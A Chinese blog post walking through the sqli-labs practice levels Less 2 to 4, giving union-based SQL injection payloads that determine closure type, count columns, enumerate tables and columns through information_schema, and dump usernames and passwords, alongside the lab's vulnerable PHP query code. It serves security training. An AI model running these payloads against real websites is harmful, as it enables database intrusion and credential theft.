sqli-labs Less 2-4 攻略

sqli-labs Less 2-4 的解题与Less1思路相同,只在闭合类型上存在少量区别,故直接提供解题过程,不再作详细解释。
对sql注入基本原理尚不了解的可以参考我的上一篇博客基于sqli-labs Less-1的sql联合注入详解

Less-2

1. 判断注入类型

判定为数字型注入

?id=1 and 1=1 回显
?id=1 and 1=2 报错

2. 判断字段数

字段数为3

/?id=1 order by 1

/?id=1 order by 2

/?id=1 order by 3

3. 判断注入点

/?id=1 union select 1,2,3   数据回显,但是没有回显注入点
/?id=0 union select 1,2,3   回显注入点为23

4. 拆解数据库

/?id=0 union select 1,2,database()    数据库security

/?id=0 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'          表名emails,referers,uagents,users

/?id=0 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='security' --+  字段id,username,password

/?id=0 union select 1,group_concat(username),group_concat(password) from security.users 

Less-3

1. 白盒测试

就是闭合符合改成')

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
$result=mysql_query($sql);

2. 判断注入类型

判定为字符型注入

?id=1 and 1=1 回显
?id=1 and 1=2 回显
?id=1' and '1'='1 回显
?id=1' and '1'='2 回显
?id=1 ') and ('1')=('1 回显
?id=1 ') and ('1')=('2 错误
?id=1') 错误
?id=1')--+ 回显

3. 判断字段数

字段数为3

/?id=1') order by 1--+
'
/?id=1') order by 2--+
'
/?id=1') order by 3--+

4. 判断注入点

/?id=1') union select 1,2,3--+   '数据回显,但是没有回显注入点
/?id=0') union select 1,2,3--+   '回显注入点为23

5. 拆解数据库

/?id=0')union select 1,2,database()--+    '数据库security

/?id=0')union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+         '表名emails,referers,uagents,users

/?id=0')union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='security' --+  '字段id,username,password

/?id=0')union select 1,group_concat(username),group_concat(password) from security.users --+ 

Less-4

1. 源代码

相当于外面套了(""),把闭合符全部换成")即可

$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
$result=mysql_query($sql);

2. 判断注入类型

?id=1 and 1=1 回显
?id=1 and 1=2 回显
?id=1' and '1'='1 回显
?id=1' and '1'='2 回显
?id=1 ') and ('1')=('1 回显
?id=1 ') and ('1')=('2 回显
?id=1") and ("1")=("1 回显
?id=1" and ("1")=("1 报错
?id=1")      报错
?id=1")--+   回显

后续过程略

posted @   星海河  阅读(32)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· AI 智能体引爆开源社区「GitHub 热点速览」
· C#/.NET/.NET Core技术前沿周刊 | 第 29 期(2025年3.1-3.9)
· 从HTTP原因短语缺失研究HTTP/2和HTTP/3的设计差异
点击右上角即可分享
微信分享提示